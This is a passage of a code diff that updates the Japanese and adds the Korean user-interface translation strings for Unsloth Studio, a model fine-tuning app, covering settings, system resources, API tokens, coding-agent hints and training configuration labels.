+        unknownDevice: "不明な GPU",
+        deviceWithIndex: "GPU {index}",
+        vramUtilization: "VRAM",
+        used: "{value} 使用中",
+        free: "{value} 空き",
+        total: "{value} 合計",
+      },
+      storage: {
+        title: "ストレージ",
+        systemDisk: "システムディスク",
+        diskUsage: "{used} 使用中 / {total}",
+        diskFree: "{free} 空き",
+        modelsFolder: "モデルフォルダ",
+        modelsFolderDescription: "ダウンロードしたモデルの保存先。",
+        openAction: "開く",
+        copyAction: "パスをコピー",
+        copied: "パスをコピーしました",
+        openError: "フォルダを開けませんでした",
+        copyError: "パスをコピーできませんでした",
+      },
+      environment: {
+        title: "環境",
+        backend: "バックエンド",
+        python: "Python",
+        torch: "Torch",
+        transformers: "Transformers",
+        uptime: "稼働時間",
+        processMemory: "プロセスメモリ",
+        notInstalled: "未インストール",
+        unknown: "不明",
+      },
     },
     chat: {
       title: "チャット",
@@ -296,7 +477,6 @@ export const ja = {
       description: "OpenAI互換 API を介して Unsloth にアクセスします。",
       readDocs: "API ドキュメントを読む",
       noAccess: "まだ API アクセス権がありません。",
-      newBadge: "新規",
       accessTokens: "アクセストークン",
       loadError: "API アクセス権を読み込めませんでした。",
       createError: "アクセストークンを作成できませんでした。",
@@ -314,8 +494,10 @@ export const ja = {
       usageTools: "ツール",
       exampleCurlTools: "curl + ツール",
       examplePythonTools: "Python + ツール",
+      exampleJavaScriptTools: "JavaScript + ツール",
       exampleCurlAdvanced: "curl + 高度な設定",
       examplePythonAdvanced: "Python + 高度な設定",
+      exampleJavaScriptAdvanced: "JavaScript + 高度な設定",
       osUnix: "Linux / macOS / WSL",
       osWindows: "Windows",
       secureHttps: "セキュア HTTPS",
@@ -325,6 +507,11 @@ export const ja = {
       copy: "コピー",
       copied: "コピーしました",
       setupDocs: "セットアップドキュメント:",
+      codingAgents: "コーディングエージェント",
+      codingAgentsHint: "このサーバーに対してコーディングエージェントを起動します。読み込み済みのモデルを使用します。ローカルサーバーでは API キーが自動的に発行され、リモートサーバーではコマンドに含まれます。",
+      codingAgentsSwap: "claude を codex、openclaw、opencode、hermes、pi に置き換えられます。",
+      codingAgentDetected: "このマシンにインストール済み",
+      codingAgentsDetectedHint: "このマシンで検出されました: {agents}。",
       relativeNever: "なし",
       relativeJustNow: "たった今",
       relativeHoursAgo: "{count}時間前",
@@ -406,7 +593,7 @@ export const ja = {
     },
   },
   studio: {
-    routeTitle: "トレイン",
+    routeTitle: "トレーニング",
     title: "Fine-tuning Studio",
     subtitles: {
       configure: "設定とトレーニングの開始",
@@ -449,7 +636,7 @@ export const ja = {
       scanning: "スキャン中...",
       scanningLocalModels: "ローカルモデルをスキャン中...",
       noLocalModelsFound: "ローカルモデルが見つかりません",
-      noLocalModelsFoundManual: "ローカルモデルが見つかりません。パスを手動を入力してください。",
+      noLocalModelsFoundManual: "ローカルモデルが見つかりません。パスを手動で入力してください。",
       failedToLoadLocalModels: "ローカルモデルの読み込みに失敗しました",
       hfCache: "HF キャッシュ",
       customFolders: "カスタムフォルダ",
@@ -584,7 +771,7 @@ export const ja = {
       rank: "Rank",
       rankTooltip: "低ランク行列の次元数。高いほど表現能力が向上します。",
       alpha: "Alpha",
-      alphaTooltip: "LoRA 更新のスクール係数。通常は rank の 2 倍に設定します。",
+      alphaTooltip: "LoRA 更新のスケール係数。通常は rank の 2 倍に設定します。",
       dropout: "Dropout",
       dropoutTooltip: "過学習を抑えるための LoRA レイヤーのドロップアウト確率。",
       visionLayers: "ビジョンレイヤー",
@@ -627,7 +814,7 @@ export const ja = {
       saveSteps: "保存ステップ間隔",
       saveStepsTooltip: "N ステップごとにチェックポイントを保存します。0 で無効化します。",
       evalSteps: "評価ステップ間隔",
-      evalStepsTooltip: "評価を行う総トレーニングステップ of 割合 (0-1)。0 に設定すると評価が無効になります。例: 0.01 = ステップの 1% ごとに評価を実行。",
+      evalStepsTooltip: "評価を行う間隔を、総トレーニングステップに対する割合 (0-1) で指定します。0 に設定すると評価が無効になります。例: 0.01 = ステップの 1% ごとに評価を実行。",
       seed: "シード値",
       seedTooltip: "再現性のための乱数シード。",
       gradCheckpoint: "勾配チェックポイント",
@@ -829,4 +1016,4 @@ export const ja = {
       guidedTour: "ガイドツアー",
     },
   },
-} as const;
+} satisfies DeepPartialMessageTree<typeof en>;
diff --git a/studio/frontend/src/i18n/locales/ko.ts b/studio/frontend/src/i18n/locales/ko.ts
new file mode 100644
index 0000000000..a11a94faf2
--- /dev/null
+++ b/studio/frontend/src/i18n/locales/ko.ts
@@ -0,0 +1,1002 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import type { DeepPartialMessageTree } from "../types";
+import type { en } from "./en";
+
+export const ko = {
+  common: {
+    cancel: "취소",
+    close: "닫기",
+    delete: "삭제",
+    done: "완료",
+    error: "오류",
+    export: "내보내기",
+    help: "도움말",
+    loading: "로딩 중...",
+    new: "새로 만들기",
+    rename: "이름 변경",
+    save: "저장",
+    saving: "저장 중...",
+    search: "검색",
+    shutdown: "종료",
+  },
+  shell: {
+    beta: "BETA",
+    brand: "unsloth",
+    product: "Unsloth Studio",
+    accountMenu: "{name} 계정 메뉴",
+    updateAvailable: "업데이트 사용 가능",
+    aria: {
+      home: "Unsloth 홈",
+      closeSidebar: "사이드바 닫기",
+      openSidebar: "사이드바 열기",
+      chatOptions: "채팅 옵션",
+      runOptions: "학습 옵션",
+    },
+    navigation: {
+      newChat: "새 채팅",
+      returnToChat: "채팅으로 돌아가기",
+      compare: "비교",
+      search: "검색",
+      hub: "Hub",
+      train: "학습",
+      recipes: "레시피",
+      export: "내보내기",
+      recents: "최근 항목",
+      noChatsYet: "아직 채팅이 없습니다",
+      settings: "설정",
+      api: "API",
+      lightMode: "라이트 모드",
+      darkMode: "다크 모드",
+      guidedTour: "가이드 투어",
+      help: "도움말",
+      logOut: "로그아웃",
+      shutdown: "종료",
+    },
+    notFound: {
+      title: "페이지를 찾을 수 없습니다",
+      description: "{path} 은(는) 존재하지 않습니다.",
+      backToChat: "채팅으로 돌아가기",
+    },
+    dialog: {
+      deleteChat: {
+        title: "채팅 삭제",
+        description: '이 채팅 "{name}" 을(를) 삭제하시겠습니까?',
+      },
+      deleteRun: {
+        title: "학습 실행 삭제",
+        description: '이 실행 "{name}" 을(를) 삭제하시겠습니까?',
+      },
+      renameChat: {
+        title: "채팅 이름 변경",
+        placeholder: "채팅 제목",
+      },
+      renameRun: {
+        title: "실행 이름 변경",
+        placeholder: "실행 이름",
+      },
+    },
+    toast: {
+      cannotDeleteRunningRun: "실행 중인 학습은 삭제할 수 없습니다",
+      failedToDeleteChat: "채팅 삭제에 실패했습니다",
+      failedToDeleteRun: "실행 삭제에 실패했습니다",
+      failedToRenameChat: "채팅 이름 변경에 실패했습니다",
+      failedToRenameRun: "실행 이름 변경에 실패했습니다",
+    },
+  },
+  settings: {
+    title: "설정",
+    dialog: {
+      title: "설정",
+      description: "Unsloth 환경설정을 관리합니다.",
+      closeAriaLabel: "설정 닫기",
+    },
+    tabs: {
+      general: "일반",
+      profile: "프로필",
+      appearance: "외관",
+      resources: "시스템",
+      chat: "채팅",
+      connections: "연결",
+      apiKeys: "API",
+      about: "정보",
+    },
+    general: {
+      title: "일반",
+      description: "Unsloth의 전역 환경설정입니다.",
+      account: "계정",
+      huggingFaceToken: "Hugging Face 토큰",
+      huggingFaceTokenDescription:
+        "게이트된 모델을 불러오고 아티팩트를 푸시하는 데 사용됩니다.",
+      hideToken: "토큰 숨기기",
+      showToken: "토큰 표시",
+      tokenSaved: "토큰이 저장되었습니다",
+      password: "비밀번호",
+      passwordDescription: "이 Studio 계정의 비밀번호를 변경합니다.",
+      passwordDialog: {
+        trigger: "비밀번호 변경",
+        title: "비밀번호 변경",
+        description:
+          "현재 비밀번호를 입력하고 새 비밀번호를 선택하세요(최소 {minLength}자).",
+        currentPassword: "현재 비밀번호",
+        newPassword: "새 비밀번호",
+        confirmPassword: "새 비밀번호 확인",
+        currentTooShort:
+          "현재 비밀번호는 최소 {minLength}자 이상이어야 합니다.",
+        newTooShort: "새 비밀번호는 최소 {minLength}자 이상이어야 합니다.",
+        mismatch: "비밀번호가 일치하지 않습니다.",
+        samePassword: "새 비밀번호는 현재 비밀번호와 달라야 합니다.",
+        update: "비밀번호 업데이트",
+        updating: "업데이트 중...",
+        updated: "비밀번호가 업데이트되었습니다.",
+        updateFailed: "비밀번호 업데이트에 실패했습니다.",
+      },
+      chatDefaults: "채팅 기본값",
+      autoTitleNewChats: "새 채팅 제목 자동 생성",
+      autoTitleNewChatsDescription:
+        "첫 메시지를 기반으로 짧은 제목을 생성합니다.",
+      helperLlm: {
+        sectionTitle: "Helper LLM",
+        preloadOnStartup: "시작 시 Helper LLM 미리 캐시",
+        preloadOnStartupDescription:
+          "시작 시 백그라운드에서 AI Assist 헬퍼 모델을 다운로드합니다. 기본값은 꺼짐이며, AI Assist는 필요할 때 언제든 가져올 수 있습니다.",
+        disabledByEnv:
+          "백엔드 환경의 UNSLOTH_HELPER_MODEL_DISABLE에 의해 비활성화되었습니다.",
+        loadError: "Helper LLM 설정을 불러오지 못했습니다.",
+        saveError: "Helper LLM 설정을 저장하지 못했습니다.",
+      },
+      modelAutoSwitch: {
+        sectionTitle: "모델 자동 전환 (OpenAI API)",
+        enable: "요청에 따라 모델 전환",
+        enableDescription:
+          "OpenAI 호환 요청이 다운로드된 다른 GGUF를 지정하면, 응답하기 전에 해당 모델을 불러옵니다. 기본값은 꺼짐이며, 알 수 없는 이름은 불러온 모델을 계속 제공합니다.",
+        idleUnload: "유휴 시 자동 해제",
+        idleUnloadDescription:
+          "지정한 유휴 시간(초)이 지나면 모델을 해제하여 VRAM을 확보합니다. 다음 요청 시 다시 불러옵니다. 0으로 설정하면 계속 로드된 상태로 유지됩니다.",
+        idleNeedsEnable:
+          "해제된 모델이 다음 사용 시 다시 로드되도록 하려면 요청에 따라 모델 전환을 켜세요.",
+        idleActiveViaEnv:
+          "유휴 시 자동 해제가 UNSLOTH_MODEL_IDLE_TTL 환경 변수를 통해 활성화되어 있습니다.",
+        loadError: "모델 자동 전환 설정을 불러오지 못했습니다.",
+        saveError: "모델 자동 전환 설정을 저장하지 못했습니다.",
+        idleError: "정수(초)를 입력하세요(0 이상).",
+      },
+      previewSharing: {
+        sectionTitle: "미리보기 공유",
+        enableLabel: "공개 미리보기 링크",
+        enableDescription:
+          "서명된 링크가 있는 누구나 로그인 없이 완성된 모델과 채팅할 수 있게 합니다. 끄면 공개 미리보기 화면이 오프라인이 되고 공유된 링크가 작동하지 않습니다.",
+        loadError: "미리보기 공유 설정을 불러오지 못했습니다.",
+        saveError: "미리보기 공유 설정을 저장하지 못했습니다.",
+        revokeLabel: "모든 미리보기 링크 취소",
+        revokeDescription:
+          "서명 비밀 키를 교체하여 이전에 공유한 모든 링크가 작동하지 않게 합니다. 새로 복사한 링크는 계속 작동합니다.",
+        revokeAction: "링크 취소",
+        revoking: "취소 중...",
+        revokeConfirmTitle: "모든 미리보기 링크를 취소하시겠습니까?",
+        revokeConfirmDescription:
+          "공유한 모든 미리보기 링크가 즉시 작동하지 않게 됩니다. 이 작업은 되돌릴 수 없습니다.",
+        revokeConfirmAction: "모든 링크 취소",
+        revoked: "모든 미리보기 링크가 취소되었습니다",
+        revokeError: "미리보기 링크를 취소하지 못했습니다",
+      },
+      notifications: {
+        sectionTitle: "알림",
+        showLlamaUpdates: "llama.cpp 업데이트 알림",
+        showLlamaUpdatesDescription:
+          "새 모델을 실행할 수 있는 최신 llama.cpp 빌드가 있으면 알립니다. 학습만 사용한다면 끄세요.",
+      },
+      gettingStarted: "시작하기",
+      startOnboarding: "온보딩 시작",
+      startOnboardingDescription:
+        "계정을 변경하지 않고 설정 마법사를 다시 엽니다.",
+      startOnboardingAction: "온보딩 시작",
+      uploads: {
+        sectionTitle: "업로드",
+        maxUploadSize: "학습 데이터셋 업로드 상한",
+        maxUploadSizeDescription: "기본값은 {defaultSize} MB입니다.",
+      },
+      rag: {
+        sectionTitle: "문서 & RAG",
+        embeddingModel: "임베딩 모델",
+        embeddingModelDescription:
+          "문서를 색인하고 검색하는 데 사용되는 Hugging Face 모델 또는 로컬 경로입니다. 기본값은 {defaultModel}입니다.",
+        reindexWarning:
+          "새로 색인되는 문서에만 적용됩니다. 모델을 변경한 후 기존 문서를 다시 업로드하세요.",
+        emptyError: "Hugging Face 모델 ID 또는 로컬 경로를 입력하세요.",
+        loadError: "임베딩 모델 설정을 불러오지 못했습니다.",
+        saveError: "임베딩 모델을 저장하지 못했습니다.",
+        saved: "임베딩 모델이 저장되었습니다.",
+        saveAnyway: "그래도 저장",
+        resetAction: "기본값으로 재설정",
+      },
+      storage: {
+        sectionTitle: "저장소",
+        modelsFolder: "모델 폴더",
+        modelsFolderDescription: "다운로드한 모델이 저장되는 위치입니다.",
+        openAction: "열기",
+        copyAction: "경로 복사",
+        copied: "경로가 복사되었습니다",
+        openError: "폴더를 열지 못했습니다",
+        copyError: "경로를 복사하지 못했습니다",
+      },
+      resetPreferences: {
+        sectionTitle: "위험 구역",
+        label: "모든 로컬 환경설정 재설정",
+        description:
+          "로컬 전용 환경설정을 지웁니다. 채팅, API 접근 권한, DB 기반 설정은 유지됩니다.",
+        action: "환경설정 재설정",
+        confirmTitle: "모든 로컬 환경설정을 재설정하시겠습니까?",
+        confirmDescription:
+          "로컬 전용 환경설정을 지우고 Unsloth를 다시 로드합니다. 채팅, API 접근 권한, DB 기반 설정은 유지됩니다.",
+        confirmAction: "재설정 후 다시 로드",
+      },
+    },
+    profile: {
+      title: "프로필",
+      description: "Unsloth에서 프로필이 표시되는 방식입니다.",
+      changePicture: "프로필 사진 변경",
+      displayName: "표시 이름",
+      nickname: "Unsloth가 당신을 어떻게 부르면 될까요?",
+      nicknamePlaceholder: "닉네임",
+      nicknameSaved: "선호하는 이름이 저장되었습니다",
+      avatarShape: "프로필 사진 모양",
+      avatarShapeCircle: "원형",
+      avatarShapeRounded: "둥근 모서리",
+      chooseSloth: "또는 나무늘보를 선택하세요",
+      nameSaved: "프로필 이름이 저장되었습니다",
+      namePersistErrorTitle: "프로필 이름을 저장할 수 없습니다",
+      namePersistErrorDescription:
+        "이번 세션에서는 이름이 업데이트되었지만, 다시 로드하면 유지되지 않을 수 있습니다.",
+      photoUpdated: "프로필 사진이 업데이트되었습니다",
+      photoPersistErrorTitle: "프로필 사진을 저장할 수 없습니다",
+      photoPersistErrorDescription:
+        "이번 세션에서는 사진이 업데이트되었지만, 다시 로드하면 유지되지 않을 수 있습니다.",
+      photoUpdateErrorTitle: "프로필 사진을 업데이트할 수 없습니다",
+      imageUseError: "이 이미지를 사용할 수 없습니다.",
+    },
+    appearance: {
+      title: "외관",
+      description: "이 기기에서 Unsloth Studio가 표시되는 방식입니다.",
+      theme: {
+        title: "테마",
+        label: "색상 구성",
+        description: "라이트, 다크 또는 시스템 설정을 따릅니다.",
+        system: "시스템",
+        light: "라이트",
+        dark: "다크",
+      },
+      language: {
+        title: "언어",
+        label: "표시 언어",
+        description: "Unsloth에서 사용하는 언어입니다.",
+        autoDetect: "자동 감지",
+      },
+      layout: {
+        title: "레이아웃",
+        compactSidebar: "기본적으로 사이드바 고정",
+        compactSidebarDescription:
+          "사이드바를 아이콘으로 접지 않고 펼친 상태로 유지합니다.",
+      },
+    },
+    resources: {
+      title: "시스템",
+      description: "이 Studio 서버의 하드웨어와 저장소를 모니터링합니다.",
+      liveUpdates: "실시간 업데이트",
+      floatingWindow: "플로팅 창",
+      disableOverlay: "오버레이 비활성화",
+      liveMonitor: {
+        title: "실시간 모니터",
+        cpu: "CPU",
+        ram: "RAM",
+        disk: "디스크",
+        vram: "VRAM",
+        cpuCores: "논리 {logical}개 / 물리 {physical}개 코어",
+        currentLoad: "현재 부하",
+        free: "{value} 여유",
+        noGpu: "표시된 GPU 없음",
+      },
+      gpu: {
+        title: "GPU 장치",
+        noGpu: "표시된 GPU가 감지되지 않았습니다. 위에 CPU 전용 리소스가 표시됩니다.",
+        unknownDevice: "알 수 없는 GPU",
+        deviceWithIndex: "GPU {index}",
+        vramUtilization: "VRAM",
+        used: "{value} 사용 중",
+        free: "{value} 여유",
+        total: "{value} 전체",
+      },
+      storage: {
+        title: "저장소",
+        systemDisk: "시스템 디스크",
+        diskUsage: "{used} 사용 중 / {total}",
+        diskFree: "{free} 여유",
+        modelsFolder: "모델 폴더",
+        modelsFolderDescription: "다운로드한 모델이 저장되는 위치입니다.",
+        openAction: "열기",
+        copyAction: "경로 복사",
+        copied: "경로가 복사되었습니다",
+        openError: "폴더를 열지 못했습니다",
+        copyError: "경로를 복사하지 못했습니다",
+      },
+      environment: {
+        title: "환경",
+        backend: "백엔드",
+        python: "Python",
+        torch: "Torch",
+        transformers: "Transformers",
+        uptime: "가동 시간",
+        processMemory: "프로세스 메모리",
+        notInstalled: "설치되지 않음",
+        unknown: "알 수 없음",
+      },
+    },
+    chat: {
+      title: "채팅",
+      description: "이 기기에 저장된 채팅 기록을 관리합니다.",
+      modelDisclaimer: "모델 고지 표시",
+      modelDisclaimerDescription:
+        '채팅 상자 아래에 "LLM은 실수를 할 수 있습니다"를 표시합니다.',
+      artifacts: {
+        title: "Canvas",
+        collapseHtmlBlocks: "HTML 블록 접기",
+        collapseHtmlBlocksDescription:
+          "Canvas 모드는 전체 HTML을 자동으로 접습니다. Canvas가 꺼져 있을 때도 펜스로 감싼 HTML 문서를 접으려면 이 옵션을 켜세요.",
+        allowNetworkAccess: "Canvas 네트워크 접근 허용",
+        allowNetworkAccessDescription:
+          "Canvas 미리보기가 CDN에서 스크립트, 스타일, 폰트, 미디어 및 네트워크 리소스를 불러올 수 있게 합니다. 완전한 오프라인 미리보기를 위해서는 꺼 두세요.",
+      },
+      data: "데이터",
+      exportHistory: "채팅 기록 내보내기",
+      exportHistoryDescription:
+        "모든 채팅과 메시지를 JSON으로 다운로드합니다.",
+      exportAction: "내보내기",
+      exportingAction: "내보내는 중...",
+      exportConversations: "최근 항목 및 프로젝트 내보내기",
+      exportConversationsDescription:
+        "최근 항목 또는 최근 항목과 프로젝트 채팅을 Raw JSONL, CSV 또는 ShareGPT JSONL로, 통합하거나 채팅별로 다운로드합니다.",
+      exportConversationsAction: "내보내기",
+      exportScopeRecents: "최근 항목",
+      exportScopeAll: "최근 항목 + 프로젝트",
+      exportCombinedSuffix: "(통합)",
+      exportPerChatSuffix: "(채팅별)",
+      importChats: "채팅 가져오기",
+      importChatsDescription:
+        "JSONL, NDJSON 또는 CSV 내보내기 파일을 최근 항목으로 가져옵니다.",
+      importChatsAction: "가져오기",
+      importNoConversations: "파일에서 대화를 찾을 수 없습니다.",
+      importedOneChat: "1개의 대화를 최근 항목으로 가져왔습니다.",
+      importedChatCount: "{count}개의 대화를 최근 항목으로 가져왔습니다.",
+      importFailed: "가져오기에 실패했습니다.",
+      clearHistory: "채팅 기록 지우기",
+      clearHistoryDescription: "이 기기에서 채팅 기록을 삭제합니다.",
+      clearAction: "지우기",
+      clearAllChats: "모든 채팅 지우기",
+      clearAllChatsDescription: "이 기기의 모든 채팅을 영구적으로 삭제합니다.",
+      noChatsToClear: "지울 채팅이 없습니다.",
+      clearOneChatDescription:
+        "이 기기의 유일한 채팅을 영구적으로 삭제합니다.",
+      clearChatCountDescription:
+        "이 기기의 채팅 {count}개를 모두 영구적으로 삭제합니다.",
+      clearChatsAction: "채팅 지우기",
+      clearOneChatTitle: "채팅 1개를 지우시겠습니까?",
+      clearChatsTitle: "채팅 {count}개를 지우시겠습니까?",
+      clearChatsConfirmDescription:
+        "이 기기의 모든 채팅을 영구적으로 삭제합니다. 이 작업은 되돌릴 수 없습니다.",
+      clearingAction: "지우는 중...",
+      clearOneChatAction: "채팅 1개 지우기",
+      clearChatCountAction: "채팅 {count}개 지우기",
+      clearedAllChats: "모든 채팅을 지웠습니다",
+      clearedOneChat: "채팅 1개를 지웠습니다",
+      clearedChatCount: "채팅 {count}개를 지웠습니다",
+      someChatsCouldNotBeCleared: "일부 채팅을 지울 수 없었습니다",
+      chatsClearedRemainOne:
+        "{clearedCount}개의 채팅을 지웠습니다. 1개의 채팅이 남아 있습니다. 다시 시도하세요.",
+      chatsClearedRemain:
+        "{clearedCount}개의 채팅을 지웠습니다. {remainingCount}개의 채팅이 남아 있습니다. 다시 시도하세요.",
+      oneChatClearedRemain:
+        "1개의 채팅을 지웠습니다. {remainingCount}개의 채팅이 남아 있습니다. 다시 시도하세요.",
+      oneChatClearedRemainOne:
+        "1개의 채팅을 지웠습니다. 1개의 채팅이 남아 있습니다. 다시 시도하세요.",
+      storageClearFailedOne:
+        "저장소 지우기에 실패했습니다. 1개의 채팅이 남아 있을 수 있습니다. 다시 시도하세요.",
+      storageClearFailed:
+        "저장소 지우기에 실패했습니다. {count}개의 채팅이 남아 있을 수 있습니다. 다시 시도하세요.",
+      failedToClearChats: "채팅 지우기에 실패했습니다",
+    },
+    connections: {
+      title: "연결",
+      description: "제공자 및 외부 연결을 관리합니다.",
+    },
+    apiKeys: {
+      title: "API",
+      description: "OpenAI 호환 API를 통해 Unsloth에 접근합니다.",
+      readDocs: "API 문서 읽기",
+      noAccess: "아직 API 접근 권한이 없습니다.",
+      accessTokens: "액세스 토큰",
+      loadError: "API 접근 권한을 불러오지 못했습니다.",
+      createError: "액세스 토큰을 생성하지 못했습니다.",
+      revokeError: "액세스 토큰을 취소하지 못했습니다.",
+      never: "만료 없음",
+      tokenNamePlaceholder: "토큰 이름(예: production)",
+      newAccessTokenName: "새 액세스 토큰 이름",
+      createToken: "토큰 생성",
+      creating: "생성 중...",
+      newTokenCreated: "새 액세스 토큰이 생성되었습니다",
+      accessTokenCopied: "액세스 토큰이 복사되었습니다",
+      copyAccessToken: "액세스 토큰 복사",
+      copyNow: "지금 복사하세요 - 다시 표시되지 않습니다.",
+      usageExamples: "사용 예시",
+      usageTools: "도구",
+      exampleCurlTools: "curl + 도구",
+      examplePythonTools: "Python + 도구",
+      exampleJavaScriptTools: "JavaScript + 도구",
+      exampleCurlAdvanced: "curl + 고급",
+      examplePythonAdvanced: "Python + 고급",
+      exampleJavaScriptAdvanced: "JavaScript + 고급",
+      osUnix: "Linux / macOS / WSL",
+      osWindows: "Windows",
+      secureHttps: "보안 HTTPS",
+      secureHttpsHint:
+        "0.0.0.0 포트는 여전히 전역에서 접근할 수 있습니다. 완전한 보안을 위해서는 --secure로 Unsloth Studio를 실행하여 이 HTTPS 링크만 노출하세요.",
+      copyTunnelUrl: "터널 URL 복사",
+      copySnippet: "스니펫 복사",
+      copy: "복사",
+      copied: "복사됨",
+      setupDocs: "설정 문서:",
+      codingAgents: "코딩 에이전트",
+      codingAgentsHint:
+        "이 서버를 대상으로 코딩 에이전트를 실행합니다. 로드된 모델을 사용하며, 로컬 서버는 API 키를 자동으로 발급하고 원격 서버는 명령에 포함합니다.",
+      codingAgentsSwap: "claude를 codex, openclaw, opencode, hermes 또는 pi로 바꾸세요.",
+      codingAgentDetected: "이 컴퓨터에 설치됨",
+      codingAgentsDetectedHint: "이 컴퓨터에서 감지됨: {agents}.",
+      relativeNever: "없음",
+      relativeJustNow: "방금",
+      relativeHoursAgo: "{count}시간 전",
+      relativeDaysAgo: "{count}일 전",
+      relativeMonthsAgo: "{count}개월 전",
+      relativeYearsAgo: "{count}년 전",
+      expired: "만료됨",
+      today: "오늘",
+      inDays: "{count}일 후",
+      created: "{value}에 생성됨",
+      used: "{value}에 사용됨",
+      expires: "{value}에 만료됨",
+      actionsFor: "{name} 작업",
+      copyPrefix: "접두사 복사",
+      revokeToken: "토큰 취소",
+      revokeTitle: '액세스 토큰 "{name}" 을(를) 취소하시겠습니까?',
+      revokeDescription:
+        "이 토큰을 사용하는 앱은 즉시 접근 권한을 잃습니다. 이 작업은 되돌릴 수 없습니다.",
+      revokeAction: '"{name}" 취소',
+      revoking: "취소 중...",
+    },
+    about: {
+      title: "정보",
+      description: "문서, 릴리스 노트, 피드백 및 빌드 정보입니다.",
+      studioVersion: "Unsloth 버전",
+      packageVersion: "패키지 버전",
+      llamaCppVersion: "llama.cpp 버전",
+      hardware: "하드웨어",
+      gpu: "GPU",
+      cuda: "CUDA",
+      rocm: "ROCm",
+      updates: "업데이트",
+      help: "도움말",
+      documentation: "문서",
+      releaseNotes: "릴리스 노트",
+      whatsNew: "새로운 기능",
+      feedback: "피드백",
+      reportIssue: "문제 보고",
+      license: {
+        sectionTitle: "라이선스",
+        studioLabel: "Unsloth Studio",
+        studioLicense: "AGPL-3.0",
+        studioDescription: "GNU AGPL v3.0 하에 오픈 소스입니다.",
+        libraryLabel: "Unsloth Core",
+        libraryLicense: "Apache-2.0",
+        libraryDescription: "Apache 2.0 하에 라이선스가 부여됩니다.",
+      },
+      dangerZone: "위험 구역",
+      shutDownStudio: "Unsloth Studio 종료",
+      shutDownStudioDescription:
+        "Unsloth 서버를 중지하고 세션을 종료합니다.",
+      shutDown: "종료",
+      update: {
+        title: "Unsloth Studio 업데이트",
+        commandText: "{label} 텍스트",
+        copied: "복사됨",
+        copyCommand: "명령 복사",
+        commandCopied: "{label} 복사됨",
+        copyNamedCommand: "{label} 복사",
+        checkingInstall: "Unsloth 설치 방식을 확인하는 중...",
+        installIntro: "Unsloth를 설치하거나 업데이트하려면:",
+        localUpdateHeading: "로컬 업데이트",
+        installCommandUnix: "macOS/Linux 설치 명령",
+        installCommandWindows: "Windows 설치 명령",
+        localInstallDetected:
+          "로컬 설치가 감지되었습니다. PyPI로 대체되지 않도록 원래 체크아웃에서 업데이트하세요.",
+        pullThenUpdate:
+          "최신 변경 사항을 가져온 다음 로컬 설치 프로그램을 실행하세요:",
+        gitPullCommand: "git pull 명령",
+        localInstallerCommand: "로컬 설치 프로그램 명령",
+        sourceInstallDetected:
+          "소스 또는 VCS 패키지 설치가 감지되었습니다. 원래의 로컬 경로 또는 Git URL에서 다시 설치하세요.",
+        repoCheckoutFallback:
+          "저장소 체크아웃이 아직 있다면 거기에서 로컬 설치 프로그램을 실행하세요:",
+        restartAfterUpdate: "업데이트 후 Unsloth를 다시 시작하세요.",
+        desktopManaged:
+          "데스크톱 앱은 번들된 백엔드를 최신 상태로 유지하며 새 버전이 있으면 알립니다.",
+        unknownInstall:
+          "Unsloth 설치 방식을 감지할 수 없습니다. 설치 프로그램 또는 PyPI 설치의 경우 위 명령을 사용하세요.",
+        localCheckout:
+          "로컬 체크아웃 설치의 경우 해당 체크아웃에서 로컬 설치 프로그램을 실행하세요:",
+        docs: "설치 문서:",
+        docsInstall: "설치",
+        docsUpdating: "업데이트",
+        docsMac: "Mac",
+        docsWindows: "Windows",
+      },
+    },
+  },
+  studio: {
+    routeTitle: "학습",
+    title: "파인튜닝 스튜디오",
+    subtitles: {
+      configure: "구성하고 학습 시작",
+      trainingInProgress: "학습 진행 중",
+      viewPastRuns: "지난 학습 실행 보기",
+      viewingPastRun: "지난 실행 보는 중",
+    },
+    tabs: {
+      configure: "구성",
+      currentRun: "현재 실행",
+      history: "기록",
+    },
+    loadingRuntime: "학습 런타임을 로딩하는 중...",
+    backToHistory: "기록으로 돌아가기",
+    sections: {
+      model: "모델",
+      dataset: "데이터셋",
+      params: "매개변수",
+      training: "학습",
+      charts: "차트",
+      progress: "학습 진행률",
+    },
+    configure: {
+      title: "구성",
+      description: "모델, 데이터셋 및 학습 설정을 선택합니다.",
+      startTraining: "학습 시작",
+      starting: "시작 중...",
+      loadingModel: "모델을 로딩하는 중...",
+      checkingDataset: "데이터셋을 확인하는 중...",
+      trainingConfig: "학습 구성",
+    },
+    model: {
+      title: "모델",
+      description: "기본 모델과 학습 방법을 선택하세요",
+      fasterTrainingBadge: "2배 빠른 학습",
+      baseModel: "기본 모델",
+      localModel: "로컬 모델",
+      localModelTooltip:
+        "로컬에 다운로드한 모델의 경로 또는 커스텀 HF 저장소입니다.",
+      scanningLocalAndCachedModels: "로컬 및 캐시된 모델을 스캔하는 중...",
+      scanning: "스캔 중...",
+      scanningLocalModels: "로컬 모델을 스캔하는 중...",
+      noLocalModelsFound: "로컬 모델을 찾을 수 없습니다",
+      noLocalModelsFoundManual:
+        "로컬 모델을 찾을 수 없습니다. 경로를 직접 입력하세요.",
+      failedToLoadLocalModels: "로컬 모델을 불러오지 못했습니다",
+      hfCache: "HF 캐시",
+      customFolders: "커스텀 폴더",
+      localDir: "로컬 디렉터리",
+      huggingFaceModel: "Hugging Face 모델",
+      huggingFaceModelTooltip:
+        "Hugging Face 모델을 검색하거나 추천 목록에서 선택하세요.",
+      searchModels: "모델 검색...",
+      searching: "검색 중...",
+      noModelsFound: "모델을 찾을 수 없습니다",
+      needsVram: "약 {vram}GB VRAM 필요 (GPU: {gpu}GB)",
+      tightVram: "약 {vram}GB VRAM ({gpu}GB에서 빠듯함)",
+      vramEstimate: "약 {vram}GB VRAM",
+      method: "방법",
+      methodTooltip:
+        "QLoRA는 4비트 양자화를 사용해 VRAM을 최소화합니다. LoRA는 16비트를 사용합니다. Full은 모든 가중치를 업데이트합니다. CPT(Continued Pretraining)는 원시 텍스트로 학습하여 채팅 형식 없이 모델을 새 도메인에 적응시킵니다.",
+      readMore: "더 알아보기",
+      fullFineTune: "전체 파인튜닝",
+      checkingToken: "토큰 확인 중...",
+      getOrUpdateToken: "토큰 가져오기 또는 업데이트",
+      huggingFaceTokenOptional: "Hugging Face 토큰 (선택 사항)",
+      continuedPretraining: "지속 사전학습",
+      localModels: "로컬 모델",
+      localModelsFound: "{count}개의 로컬/캐시된 모델을 찾았습니다",
+      loadingLocalModels: "로컬 모델을 로딩하는 중...",
+    },
+    dataset: {
+      title: "데이터셋",
